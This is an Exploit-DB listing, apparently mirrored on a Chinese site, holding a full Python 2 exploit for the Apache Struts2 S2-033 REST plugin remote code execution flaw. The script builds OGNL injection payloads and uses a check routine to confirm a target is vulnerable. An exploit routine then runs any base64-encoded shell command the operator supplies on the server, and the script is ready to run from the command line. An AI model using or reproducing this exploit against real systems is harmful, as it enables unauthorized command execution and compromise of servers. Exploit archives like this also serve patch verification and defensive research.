Apache Struts – REST Plugin With Dynamic Method Invocation Remote Code Execution

Exploit Database
113 阅读

作者： nixawk

日期： 2017-06-06
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/43382/

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#!/usr/bin/python

# -*- coding: utf-8 -*-

import requests

import random

import base64

upperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

lowerAlpha = "abcdefghijklmnopqrstuvwxyz"

numerals = "0123456789"

allchars = [chr(_) for _ in xrange(0x00, 0xFF + 0x01)]

def rand_base(length, bad, chars):

'''generate a random string with chars collection'''

cset = (set(chars) - set(list(bad)))

if len(cset) == 0:

return ""

chars = [list(cset)[random.randrange(len(cset))] for i in xrange(length)]

chars = map(str, chars)

return "".join(chars)

def rand_char(bad='', chars=allchars):

'''generate a random char with chars collection'''

return rand_base(1, bad, chars)

def rand_text(length, bad='', chars=allchars):

'''generate a random string (cab be with unprintable chars)'''

return rand_base(length, bad, chars)

def rand_text_alpha(length, bad=''):

'''generate a random string with alpha chars'''

chars = upperAlpha + lowerAlpha

return rand_base(length, bad, set(chars))

def rand_text_alpha_lower(length, bad=''):

'''generate a random lower string with alpha chars'''

return rand_base(length, bad, set(lowerAlpha))

def rand_text_alpha_upper(length, bad=''):

'''generate a random upper string with alpha chars'''

return rand_base(length, bad, set(upperAlpha))

def rand_text_alphanumeric():

'''generate a random string with alpha and numerals chars'''

chars = upperAlpha + lowerAlpha + numerals

return rand_base(length, bad, set(chars))

def rand_text_numeric(length, bad=''):

'''generate a random string with numerals chars'''

return rand_base(length, bad, set(numerals))

def generate_rce_payload(code):

'''generate apache struts2 s2-033 payload.

'''

payload = ""

payload += requests.utils.quote("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")

payload += ","

payload += requests.utils.quote(code)

payload += ","

payload += requests.utils.quote("#xx.toString.json")

payload += "?"

payload += requests.utils.quote("#xx:#request.toString")

return payload

def check(url):

'''check if url is vulnerable to apache struts2 S2-033.

'''

var_a = rand_text_alpha(4)

var_b = rand_text_alpha(4)

flag = rand_text_alpha(5)

addend_one = int(rand_text_numeric(2))

addend_two = int(rand_text_numeric(2))

addend_sum = addend_one + addend_two

code = "#{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"

code += "#{var_a}.print(#parameters.{var_b}[0]),"

code += "#{var_a}.print(new java.lang.Integer({addend_one}+{addend_two})),"

code += "#{var_a}.print(#parameters.{var_b}[0]),"

code += "#{var_a}.close()"

payload = generate_rce_payload(code.format(

var_a=var_a, var_b=var_b, addend_one=addend_one, addend_two=addend_two

))

url = url + "/" + payload

resp = requests.post(url, data={ var_b: flag }, timeout=8)

vul_flag = "{flag}{addend_sum}{flag}".format(flag=flag, addend_sum=addend_sum)

if resp and resp.status_code == 200 and vul_flag in resp.text:

return True, resp.text

return False, ''

def exploit(url, cmd):

'''exploit url with apache struts2 S2-033.

'''

var_a = rand_text_alpha(4)

var_b = rand_text_alpha(4) # cmd

code ="#{var_a}=new sun.misc.BASE64Decoder(),"

# code += "@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))"# Error 500

code += "#wr=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"

code += "#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))),"

code += "#wr.println(#rs),#wr.flush(),#wr.close()"

payload = generate_rce_payload(code.format(

var_a=var_a, var_b=var_b

))

url = url + "/" + payload

requests.post(url, data={ var_b: base64.b64encode(cmd) }, timeout=8)

if __name__ == '__main__':

import sys

if len(sys.argv) != 3:

print("[*] python {} <url> <cmd>".format(sys.argv[0]))

sys.exit(1)

url = sys.argv[1]

cmd = sys.argv[2]

print(check(url))

exploit(url, cmd)

## References

# 1. https://github.com/rapid7/metasploit-framework/pull/6945